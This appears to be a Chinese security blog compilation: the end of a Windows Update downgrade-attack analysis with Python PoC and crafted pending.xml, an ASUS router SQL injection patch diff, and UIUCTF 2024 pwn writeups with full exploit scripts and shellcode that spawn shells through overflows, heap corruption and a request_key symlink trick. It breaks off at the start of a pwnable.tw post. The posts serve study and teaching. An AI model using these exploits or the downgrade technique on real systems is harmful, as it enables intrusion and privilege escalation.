可以发现程序生成了一行完整的poqexec.exe命令并将其写为了这个 key 的值，其中pending_xml_path也由我们控制，其相应文件中内容就是我们之前运行的命令中--config-xml选项后指定的 xml 文件内容。

这个xml，即操作列表（pending.xml）提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如，为了降级，可以使用硬链接文件操作，source 文件将替换 destination：

<HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/>

将 destination 设置为要降级的目标文件，将 source 替换为降级后的文件即可。

攻击流程
#

攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式，主要流程如下：

将受信任安装服务设置为自启动，这样重启系统后会检查是否需要更新
在注册表中添加PoqexecCmdline及相应的值，指定操作列表路径
添加操作列表的标识符标识符是一个动态数字，出于完整性目的，将它与操作列表的标识符进行比较。从代码中可以看到，在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。

PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"

EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
<PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
...
"""
...
set_pending_xml_identifier(PENDING_XML_IDENTIFIER)

def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
    """
    Sets the Pendning.xml identifier in registry

    :param pending_xml_identifier: The Pending.xml identifier
    :return: None
    :note: This API assumes the COMPONENTS hive is loaded to the registry
    :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
    """
    pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
    pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
                  "COMPONENTS",
                  "PendingXmlIdentifier",
                  pending_xml_identifier_unicode,
                  winreg.REG_BINARY)

先前，在执行 PoC 代码后，我们重启并完成了对另一个漏洞的攻击。在这个过程中：

Windows 更新机制中的受信任安装服务自启动
检测到PoqexecCmdline，执行其中命令设置操作列表路径
受信任安装程序根据我们构建的 xml 文件进行更新，导致文件被替换成低版本脆弱文件
降级攻击完成

由于这个过程被 Windows 更新机制接管，因此十分隐蔽。

自定义降级攻击
#

Windows 降级支持制作自定义降级。要制作自定义降级，你需要创建一个配置 XML 文件，然后将此配置 XML 输入工具即可。

在 CVE-2023-21768 的攻击中，我们用到的 XML 文件如下：

<Configuration>
    <UpdateFilesList>
        <UpdateFile source="%CWD%\examples\CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade\UpdateFiles\afd.sys" destination="C:\Windows\System32\Drivers\afd.sys" />
    </UpdateFilesList>
</Configuration>

原理非常简单，就是定义用于替换的文件路径和目标文件路径。只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。

结语
#

Windows 对于安全边界的划分似乎总是异于常人啊。。。

Max Severity: Important

Attack Complexity: Low

Privileges Required: Low

Exploit Code Maturity: Proof-of-Concept

Remediation Level: Unavailable

前几条和最后一条竟能同时出现在同一则安全公告中，真乃神人也。

CVE-2023-35720 华硕路由器SQL注入漏洞分析

root@beacox.space (BeaCox) — Fri, 16 Aug 2024 19:30:00 +0000

本文对华硕路由器中一个SQL注入漏洞做了简单的分析，希望能对和我一样的小白有所帮助。

漏洞描述
#

CVE-2023-35720 允许近源攻击者披露受影响的华硕 RT-AX92U 等路由器上的敏感信息。利用此漏洞无需经过鉴权。

该漏洞存在于 mod_webdav.so 模块中。解析请求时，该程序在使用用户提供的字符串构建 SQL 查询语句之前，未正确验证该字符串。攻击者可利用此漏洞在 root 上下文中披露信息。

固件信息
#

漏洞分析
#

RT-AX56U 受影响的最高固件版本为 RT-AX56U 3.0.0.4.386.51665。

分析该版本 mod_webdav.so：

调用array_get_element获取Keyword参数

校验了长度和不含'。

替换*为%，替换?为_。

根据不同情况，会拼接到不同的查询语句。

sql_get_table示例用法：

sql_get_table(db, "SELECT * FROM sqlite_master where type='table' and name='LiewenMes'", &dbResult, &nRow, &nColumn, NULL);

第二个参数为查询语句该函数在 libbwdpi_sql.so 和 liblightsql.so 中都有定义：

因此程序最后将拼接得到的语句作为查询语句在 sqlite 中执行。

可见漏洞的成因主要是获取用户输入后只进行了简单的过滤就拼接到 SQL 语句执行，造成 SQL 注入。

补丁分析
#

修复版本为 RT-AX56U 3.0.0.4.386_51679。

使用 bindiff 比较两个版本的 mod_webdav.so ：

发现显著的不同是多了一个is_valid_string函数。

用这个函数替代了之前对'的校验。

在新版本固件文件系统中寻找该符号：

$ grep -r 'is_valid_string'
Binary file usr/sbin/lighttpd matches
Binary file usr/lib/mod_smbdav.so matches
Binary file usr/lib/mod_webdav.so matches

而旧版本中没有这个符号。在 lighttpd 中发现该函数定义：

发现过滤了", $, ` ,;, ' 字符。这样的过滤够不够呢……取决于程序实现吧，在mod_webdav.so中用户输入在拼接成SQL语句时基本都用''包裹，没包裹的也是数字。

调用sql_get_table函数的只有mod_webdav.so，因此该固件中应该不再存在类似成因的SQL注入漏洞。

结语
#

之前分析 IoT 漏洞基本专注于命令注入和栈溢出，SQL注入漏洞分析较少，因此写下本文记录。后续有时间可以再模拟一下华硕路由器，做漏洞的复现。

UIUCTF 2024 PWN Writeup

root@beacox.space (BeaCox) — Sun, 07 Jul 2024 19:30:00 +0000

我和 L3ak 一起参加了今年的 UIUCTF，最终我们排在第7。我只做了 Pwn 题，我们队最终也 AK 了 Pwn，MinatoTW is goat🐐!

本文是比赛中所有 Pwn 题（除了一道 Pwn+Rev 以外）的 Writeup。

English Writeup

Backup Power
#

概况
#

Can you turn on the backup generator for the SIGPwny Transit Authority?

75 solves

这道题是 MinatoTW 解出来的，我只是在赛后复现并撰写 wp。

checksec 结果：

    Arch:     mips-32-big
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

这是一道 mips 架构的栈溢出题。我用qemu-mips去运行，用gdb-multiarch调试。

题目分析
#

程序的主要逻辑是：

非developer（developer?develper?devolper? 一个程序出现三种拼写 XD）用户只被允许执行shutdown和shutup命令，没有可利用之处。

登录为developer用户，command会被设置为todo。调用develper_power_management_portal()函数后回到对命令进行判断的流程。其中，develper_power_management_portal()函数中调用gets()函数，存在栈溢出。

void __cdecl develper_power_management_portal(int cfi)
{
  char buffer[4]; // [sp+18h] [+18h] BYREF
  int vars20; // [sp+44h] [+44h]

  gets(buffer);
  if ( vars20 != cfi )
    _stack_chk_fail_local();
}

如果command为system，则程序会拼接栈上变量作为system()函数的参数并执行：

    if ( !strcmp(command, system_str) )
    {
      sprintf(command_buf, "%s %s %s %s", arg1, arg2, arg3, arg4);
      system(command_buf);
      return 0;
    }

在调用develper_power_management_portal()函数前后，程序试图通过寄存器来备份栈上变量的值：

但是在develper_power_management_portal()函数中，程序又在调用gets()函数之后将寄存器的值设置为栈上的值：

因此没有起到备份的效果，我们仍然可以通过栈溢出到0x24+var_sC($sp), 0x24+var_s10($sp), ...来设置s4, s5, s6, s7从而设置arg1, arg2, arg3, arg4。

至此，我们的解题路线可以归纳为：利用栈溢出设置command为system，并设置arg1为sh;\x00，使得程序执行system("sh")。值得注意的是程序开启了cfi校验，即在develper_power_management_portal()函数返回时，会检查其返回地址有没有被修改。在这题中我们不需要劫持控制流，因此将返回地址保持原状即可。

调试
#

使用 qemu-mips启动程序并等待gdb远程调试：

qemu-mips -g 1234 ./backup-power

在另一个终端中启动gdb-multiarch并远程调试：

gdb-multiarch ./backup-power

pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234

可以通过 gdb 调试来定位我们需要修改的变量在栈上的位置：

pwndbg> b *0x400ee8
pwndbg> c

输入用户名devolper，再输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa让gets()接收，就可以看到：

将command覆盖为system，arg1覆盖为sh;\x00，栈上包含程序地址处尽量保持原样即可。

值得注意的两个地方：

返回地址：上图中第二个0x400b0c。由于开启cfi，返回地址必须保持原样。
gp寄存器：上图中0x4aa30会被存入gp寄存器，之后会用于计算函数偏移量，因此不能修改。

exp
#

from pwn import *

exe = ELF("./backup-power")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    r.sendlineafter(b"Username: ", b'devolper')
    payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)

    sp = (
        p32(0)*6
        + p32(0x004AA330)                       # that's gp, we need to keep it
        + p32(0)*5
        + b"devolper".ljust(100, b"\x00")
        + b"devolper".ljust(100, b"\x00")
        + b"system\x00"                         # overwrite command to system
    )

    payload += sp
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

pwnymalloc
#

概况
#

i’m tired of hearing all your complaints. pwnymalloc never complains.

65 Solves

这道题是赛中和队友共同解出来的。

题目分析
#

这是一道堆题，但是堆管理器是自定义的。

程序的基本功能为：

提交申诉（申请可用大小为0x48的堆块，输入内容，堆块内容被清零，堆块被释放）
查看申诉（摆设，没有实际实现）
申请退款（申请可用大小为0x88的堆块，用于存放refund_request结构体，不能被直接free
查询退款状态（状态为REFUND_APPROVED时会打印 flag ）

refund_request结构体的定义如下：

typedef struct refund_request {
    refund_status_t status;
    int amount;
    char reason[0x80];
} refund_request_t;

申请退款函数会将status设置为0即REFUND_DENIED，另一个状态是1即REFUND_APPROVED，amount和reason都由用户输入。没有任何常规功能能直接将结构体的status设置为REFUND_APPROVED，因此需要考虑利用自定义的堆管理器来完成对该字段的修改。

由于堆块需要0x10字节对齐，因此堆块的结构可能存在下面两种情况：

当堆块可用大小为0x…8字节时，用户可用写到btag所在的8字节。正常情况下只有被free的堆块才会设置btag，这也是问题所在: 题目中的堆块可用大小都是0x…8字节，而在这种情况下，用户可以控制btag的值。

堆管理器中空闲块合并的代码对我来说比较有趣（根据unsorted bin的经验）。简单来说，在free一个堆块或者拆分一个大的堆块时，会调用coalesce()合并空闲块；该函数会检查前一个和后一个堆块的大小、状态来决定是否合并。

以合并前向块为例，有如下调用链

coalesce()->prev_chunk()->get_prev_size()，get_prev_size()函数实现如下：

static size_t get_prev_size(chunk_ptr block) {
    btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
    return prev_footer->size;
}

其中btag如前文所示位于每个堆块的最后8字节，堆管理器通过该值判断前向空闲堆块的大小。如果前向堆块未被free，正常情况下get_prev_size应当返回0。但如果我们将btag值设置为某一个正数，堆管理器会根据这个值去定位前向堆块的size | status，进一步判断其是否被free。通过构造 payload，我们完全可以修改某个堆块的btag，并在目标size | status处填充恰当的值，诱导堆管理器对前向的某一片连续的内存空间进行合并，不论这片内存空间处于什么样的使用状态。

攻击思路
#

梳理一下我们的攻击思路：

通过申请退款功能申请2个堆块（大小都为0x90）
将第二个堆块作为目标（其退款状态会被改写）
在第二个堆块的最后8字节写一个比0x90大的size作为btag（如0xb0）
在第一个堆块中间相应的位置（chunk2_addr + 0x90 - 0xb0）写上对应的size | status（如0xb0 | 0，表示被free）此时堆块状态：
提交申诉，触发空闲块合并，会合并出一个大小为0xb0+0x50的空闲堆块，起始地址为chunk2_addr + 0x90 - 0xb0
再调用申请退款函数，此时申请到的堆块起始地址为chunk2_addr + 0x90 - 0xb0，大小为0x90
这个堆块横跨第一个堆块和第二个堆块，填充合适的payload可以将第二个堆块中的refund_request->status写为1即REFUND_APPROVED
调用检查退款状态函数，获得 flag

注意事项
#

我们伪造了一个大小为0xb0的空闲堆块，要注意在合并空闲块时会调用free_list_remove(prev_block)，因此要让该假堆块的next和prev指针为0（或合法地址），否则会出现内存访问的错误。

exp
#

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)

def complain(data):
    r.sendlineafter(b"> ", b"1")
    r.sendafter(b":", data)

def refund(data):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
    r.sendafter(b"request:\n", data)

def win(index):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"ID:\n", str(index).encode())


def main():
    conn()

    # fake chunk inside
    payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
    refund(payload)
    # the target chunk we will overflow
    payload = b'\x00'*0x78 + p64(0xb0)[:-1]
    refund(payload)
    # trigger the coalesce
    payload = b'BeaCox never complains\n'
    complain(payload)
    # overwrite the target to make it approved
    payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
    refund(payload)
    gdb.attach(r)
    # win!
    win(1)

    r.interactive()


if __name__ == "__main__":
    main()

Rusty Pointers
#

概况
#

The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.

36 Solves

这道题是赛中和队友共同解出来的。

题目分析
#

我从来没有写过一行 Rust 代码，但是对其内存安全特性却是早有耳闻，但……真是这样吗？

程序主要功能如下：

Create a Rule or Note
Delete a Rule or Note
Read a Rule or Note
Edit a Rule or Note
Make a Law
Exit

观察源代码可以看到：

const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
	let mut buffer = Box::new([0; LEN]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
	let mut buffer = Box::new([0; LEN2]);
	let mut _buffer2 = Box::new([0; 16]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
	return Box::new([0; LEN])
}

只有get_note()函数没有调用get_ptr，那么必有蹊跷，观察get_ptr函数：

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
	fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
	) -> &'a mut T {
			val_b
	}
	let f: fn(_, &'a mut T) -> &'b mut T = ident;
	f(S, x)
}

看上去非常难懂，但是 chatGPT 告诉我该函数的作用是延长变量的生命周期。可以在 gdb 中观察get_rule和get_note的区别：

Create a Note 然后 Edit a Note 写入aaaa
Create a Rule 然后 Edit a Rule 写入bbbb
查看堆

显然，二者都会申请大小为0x50的堆块，但是get_ptr()函数会将这个堆块free掉，并允许我们继续使用这个堆块，也就是 UAF（Use After Free）。

上文提到，get_law()也调用了get_ptr()，不同的是它的大小比较大：

const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);

因此将其free后会进入 unsorted bin，其fd和bk指针将会指向libc中的main_arena，造成libc leak：

攻击思路
#

接下来我们就需要考虑如何利用手上的 UAF 了。

libc的版本为2.31，malloc_hook和free_hook可以利用，且tcache没有safe link机制。

由于拥有 Write After Free 和 Read After Free，我们可以用Tcache Poisoning方法得到 Arbitrary Write 和 Arbitrary Read。

我们可以利用 Arbitrary Write 将free_hook写为system函数地址，然后在一个堆块（note）开头填入/bin/sh\x00并将其free，这样就会触发system('/bin/sh')。

exp
#

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)

def create_rule():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"1")

def create_note():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"2")

def delete_rule(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def delete_note(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def read_rule(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def read_note(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def edit_rule(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def edit_note(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def make_law():
    r.sendlineafter(b"> ", b"5")

def main():
    conn()
    # r.interactive()

    make_law()
    libc_leak = int(r.recvuntil(b",", drop=True), 16)
    info(f"[L3ak] libc leak: {hex(libc_leak)}")
    libc.address = libc_leak - 0x1ecbe0
    info(f"[C4lc] libc base: {hex(libc.address)}")
    free_hook_addr = libc.symbols['__free_hook']
    info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
    system_addr = libc.sym['system']
    info(f"[C4lc] system addr: {hex(system_addr)}")
    create_note()
    create_note()
    create_note()
    create_note()
    delete_note(3)
    delete_note(2)
    delete_note(1)
    delete_note(0)
    create_rule()
    edit_rule(0, p64(free_hook_addr))
    create_note()
    create_note()
    payload = p64(system_addr)
    # gdb.attach(r)
    edit_note(1, payload)           # overwrite free_hook with system
    edit_note(0, b"/bin/sh\x00")    # set /bin/sh as argument
    delete_note(0)                  # delete_note wiil trigger free_hook, which will call system("{what's in note}")

    r.interactive()

if __name__ == "__main__":
    main()

Syscalls
#

概况
#

You can’t escape this fortress of security.

143 Solves

这道题是赛中独立解出来的。

题目分析
#

这道题非常简单，程序会将我们的输入作为 shellcode 直接执行，但是通过seccomp对系统调用做了限制。用seccomp-tools能清晰地看到seccomp的规则：

seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

可以看到execve和execveat都被禁用，因此不能直接弹shell。open, read, write也被禁用。

攻击思路
#

可以在syscall.sh搜索open/read/write找到可替代的系统调用：open可以用openat替代，read可以用preadv2替代，write可以用pwritev2替代，仍然是用orw（open, read, write）的方式读./flag.txt。用法可以通过搜索man <syscall name>找到：

openat()用法
```
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
```
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process

openat(AT_FDCWD, './flag.txt', 0)代表以只读模式打开当前工作目录下的./flag.txt文件。
preadv2()和pwritev2()用法
```
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
```
对不熟悉的系统调用/函数一般可以从互联网上找例子来理解：
```
char          *str0 = "hello ";
char          *str1 = "world\n";
ssize_t       nwritten;
struct iovec  iov[2];

iov[0].iov_base = str0;
iov[0].iov_len = strlen(str0);
iov[1].iov_base = str1;
iov[1].iov_len = strlen(str1);

nwritten = writev(STDOUT_FILENO, iov, 2);
```
即iov是一个结构体数组，每个结构体前8字节为要读/写的地址，后8字节为要读/写的长度；iovcnt用来表示数组中元素数量。

Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.

The flags argument contains a bitwise OR of zero or more of the following flags …

offset设置为1其实是让系统替我们管理偏移量，flags通常都是设置为0即可。

exp
#

#!/usr/bin/env python3

from pwn import *

exe = ELF("./syscalls_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    # openat(AT_FDCWD, "./flag.txt", 0)
    # preadv2(3, {"rsp", 0x50}, 1, 0, 0)
    # pwritev2(1, {"rsp", 0x50}, 1, -1, 0)

    shellcode = asm(
        """
        mov rax, 257
        mov rdi, -100
        mov rsi, 0x7478
        push rsi
        mov rsi, 0x742e67616c662f2e
        push rsi
        mov rsi, rsp
        xor rdx, rdx
        syscall
        mov rdi, rax
        mov rax, 327
        mov r12, rsp
        add r12, 0x50
        mov r11, 0x50
        push r11
        push r12
        mov rsi, rsp
        mov rdx, 1
        mov r10, -1
        mov r8, 0
        syscall
        mov rax, 328
        mov rdi, 1
        syscall
        """
    )
    # gdb.attach(r, '''
    # b *$rebase(0x12d6)'''
    # )
    print(shellcode)
    r.sendline(shellcode)

    r.interactive()


if __name__ == "__main__":
    main()

我知道可以用shellcraft来构造 shellcode，但我就爱自己写 XD。

Syscalls 2
#

概况
#

I made it harder ;) Hint: It’s not a bug, it’s a feature!

8 Solves

exp 修改自 robbert1978。

题目分析
#

这道题对内核做了patch：

From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation

They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.

Child processes inherit the restriction just like seccomp.

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
 fs/file.c                  | 7 +++++++
 include/linux/sched.h      | 5 +++++
 include/uapi/linux/prctl.h | 2 ++
 kernel/fork.c              | 3 +++
 kernel/sys.c               | 3 +++
 5 files changed, 20 insertions(+)

diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
 	int error;
 	struct fdtable *fdt;
 
+	if (task_uiuctf_no_fds_allowed(current))
+		return -EPERM;
+
 	spin_lock(&files->file_lock);
 repeat:
 	fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
 	struct files_struct *files = current->files;
 	struct fdtable *fdt;
 
+	if (task_uiuctf_no_fds_allowed(current))
+		panic("Installing fds is actually not allowed and "
+		      "I'm not trying to hide a bypass");
+
 	if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
 		return;
 
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
 #define PFA_SPEC_IB_FORCE_DISABLE	6	/* Indirect branch speculation permanently restricted */
 #define PFA_SPEC_SSB_NOEXEC		7	/* Speculative Store Bypass clear on execve() */
 
+#define PFA_UIUCTF_NO_FDS_ALLOWED	10
+
 #define TASK_PFA_TEST(name, func)					\
 	static inline bool task_##func(struct task_struct *p)		\
 	{ return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
 TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 
+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
 static inline void
 current_restore_flags(unsigned long orig_flags, unsigned long flags)
 {
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
 # define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK	0xc
 # define PR_RISCV_V_VSTATE_CTRL_MASK		0x1f
 
+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
 #endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
 	 */
 	copy_seccomp(p);
 
+	if (task_uiuctf_no_fds_allowed(current))
+		task_set_uiuctf_no_fds_allowed(p);
+
 	init_task_pid_links(p);
 	if (likely(p->pid)) {
 		ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
 	case PR_RISCV_V_GET_CONTROL:
 		error = RISCV_V_GET_CONTROL();
 		break;
+	case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+		task_set_uiuctf_no_fds_allowed(current);
+		break;
 	default:
 		error = -EINVAL;
 		break;
-- 
2.45.1

题目自定义了一个系统调用，程序调用prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED)后，会阻止alloc_fd()和fd_install()正常运行，并且在对copy_process()的修改中使得fork的子程序会继承这一属性。因此预期解是使用io_uring来读 flag：

io_uring本身不需要一个新的 fd
io_uring管理了自己的 fd 表，不会触发alloc_fd和fd_install

攻击思路
#

但是我更喜欢非预期解：

首先需要理解request_key系统调用。参考manpage，用法如下：

key_serial_t request_key(const char *type, const char *description,
							const char *_Nullable callout_info,
							key_serial_t dest_keyring);

If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: … (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:

[0] The string “/sbin/request-key”.

也就是说，当我们指定的type和description能让内核无法找到对应的key，它就会运行/sbin/request-key

非预期解的思路是：

将/sbin/request_key设为/init的符号链接
将/chal设置为/bin/bash的符号链接
使用系统调用request_key，并传入内核无法识别的type和description
request_key将调用/sbin/rquest-key->/init，新的/init不会有no_fds的过滤
/init执行exec /chal->/bin/bash，弹出 shell

exp
#

#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
shellcode = asm("""

    lea rdi, [rip + offset init]
    lea rsi, [rip + offset request_key]
    mov eax, 0x58
    syscall


    lea rdi, [rip + offset chal]
    mov eax, 0x57
    syscall

    lea rdi, [rip + offset bash]
    lea rsi, [rip + offset chal]
    mov eax, 0x58
    syscall

    lea rdi, [rip + offset a]
    lea rsi, [rip + offset b]
    lea rdx, [rip + offset c]  
    mov r10, 0xfffffffd 
    mov rax, 0xf9       
    
    syscall
    ret
a:
    .asciz "user"
b:
    .asciz "BeaCox:nonsense"
c:
    .asciz "payload:data"
init:
    .asciz "/init"
chal:
    .asciz "/chal"
request_key:
    .asciz "/sbin/request-key"
bash:
    .asciz "/bin/bash"

""")

print(shellcode.hex())

从 pwnable.tw——3x17 学习 .fini_array

root@beacox.space (BeaCox) — Wed, 19 Jun 2024 22:00:00 +0000

尽管 pwnable.tw已经很久没更新新题，这上面的题目放到现在~~对我而言~~也仍然是很有趣的。在解 3x17 这道题的时候，用到了之前从没用过的 fini_array hijack，因此记录一下。

预分析
#

checksec 结果：

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

file 结果：

